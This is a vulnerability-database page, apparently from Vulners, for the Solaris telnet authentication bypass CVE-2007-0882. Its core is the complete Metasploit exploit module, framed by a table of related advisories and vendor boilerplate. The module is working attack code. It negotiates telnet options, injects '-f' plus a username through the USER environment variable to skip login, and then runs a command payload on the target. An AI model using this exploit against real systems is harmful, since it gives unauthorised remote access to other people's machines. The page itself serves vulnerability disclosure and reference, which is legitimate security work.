Lucene search
K

Sun Solaris Telnet Remote Authentication Bypass Vulnerability

🗓️ 17 Feb 2007 13:52:50Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 44 Views

Sun Solaris Telnet Remote Authentication Bypass Vulnerability in.telnetd Solaris 10 and 1

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-0882
22 Jun 201000:00
circl
Check Point Advisories
Sun Solaris Telnet Service Unauthorized Remote Login (CVE-2007-0882)
13 Feb 200700:00
checkpoint_advisories
CVE
CVE-2007-0882
12 Feb 200720:00
cve
Cvelist
CVE-2007-0882
12 Feb 200720:00
cvelist
Exploit DB
Sun Solaris Telnet - Remote Authentication Bypass (Metasploit)
22 Jun 201000:00
exploitdb
Exploit DB
Solaris 10/11 Telnet - Remote Authentication Bypass (Metasploit)
12 Feb 200700:00
exploitdb
exploitpack
Solaris 1011 Telnet - Remote Authentication Bypass (Metasploit)
12 Feb 200700:00
exploitpack
NVD
CVE-2007-0882
12 Feb 200720:28
nvd
Packet Storm
Sun Solaris Telnet Remote Authentication Bypass
28 Oct 200900:00
packetstorm
Prion
Design/Logic Flaw
12 Feb 200720:28
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
      'Description'    => %q{
        This module exploits the argument injection vulnerability
        in the telnet daemon (in.telnetd) of Solaris 10 and 11.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-0882' ],
          [ 'OSVDB', '31881'],
          [ 'BID', '22512' ],
        ],
      'Privileged'     => false,
      'Platform'       => %w{ solaris unix },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          ['Automatic', { }],
        ],
      'DisclosureDate' => '2007-02-12',
      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(23),
          OptString.new('USER', [ true, "The username to use",     "bin" ]),
        ])
  end

  def exploit
    connect

    print_status('Setting USER environment variable...')

    req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
    req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
    req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFC\x25"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

    sock.put(req)
    sock.get_once

    req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
    req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
    req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

    sock.put(req)
    sock.get_once
    select(nil,nil,nil,0.25)

    sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

    select(nil,nil,nil,0.25)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.4High risk
Vulners AI Score7.4
CVSS 210
EPSS0.90954
44